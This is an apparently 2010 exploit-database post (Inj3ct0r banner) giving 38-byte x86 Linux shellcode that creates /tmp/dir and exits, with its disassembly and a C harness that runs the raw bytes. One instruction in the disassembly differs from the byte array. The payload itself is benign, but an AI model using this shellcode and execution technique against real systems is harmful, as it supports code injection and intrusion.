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0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
Name   : 38 bytes sys_mkdir("/tmp/dir",1) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

/*
gunslinger@localhost:~/shellcode$ objdump -d mkdir

mkdir:     file format elf32-i386

Disassembly of section .text:

08048060 <.text>:
 8048060: eb 17                 jmp    0x8048079
 8048062: 31 c0                 xor    %eax,%eax
 8048064: 31 db                 xor    %ebx,%ebx
 8048066: 31 d2                 xor    %edx,%edx
 8048068: 31 c9                 xor    %ecx,%ecx
 804806a: b0 27                 mov    $0x27,%al
 804806c: 5b                    pop    %ebx
 804806d: b1 00                 mov    $0x0,%cl
 804806f: cd 80                 int    $0x80
 8048071: 31 c0                 xor    %eax,%eax
 8048073: b0 01                 mov    $0x1,%al
 8048075: 31 db                 xor    %ebx,%ebx
 8048077: cd 80                 int    $0x80
 8048079: e8 e4 ff ff ff        call   0x8048062
 804807e: 2f                    das   
 804807f: 74 6d                 je     0x80480ee
 8048081: 70 2f                 jo     0x80480b2
 8048083: 64                    fs
 8048084: 69                    .byte 0x69
 8048085: 72                    .byte 0x72
gunslinger@localhost:~/shellcode$
*/

#include <stdio.h>

char shellcodedir[] =    "\xeb\x17"            
    "\x31\xc0"         
    "\x31\xdb"         
    "\x31\xd2" 
    "\x31\xc9" 
    "\xb0\x27" 
    "\x5b"     
    "\xb1\x01" 
    "\xcd\x80" 
    "\x31\xc0"
    "\xb0\x01"
    "\x31\xdb"
    "\xcd\x80"
    "\xe8\xe4\xff\xff\xff"
    "\x2f"
    "\x74\x6d"
    "\x70\x2f"
    "\x64"
    "\x69"
    "\x72";
  
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) shellcodedir;
  (int)(*func)();
}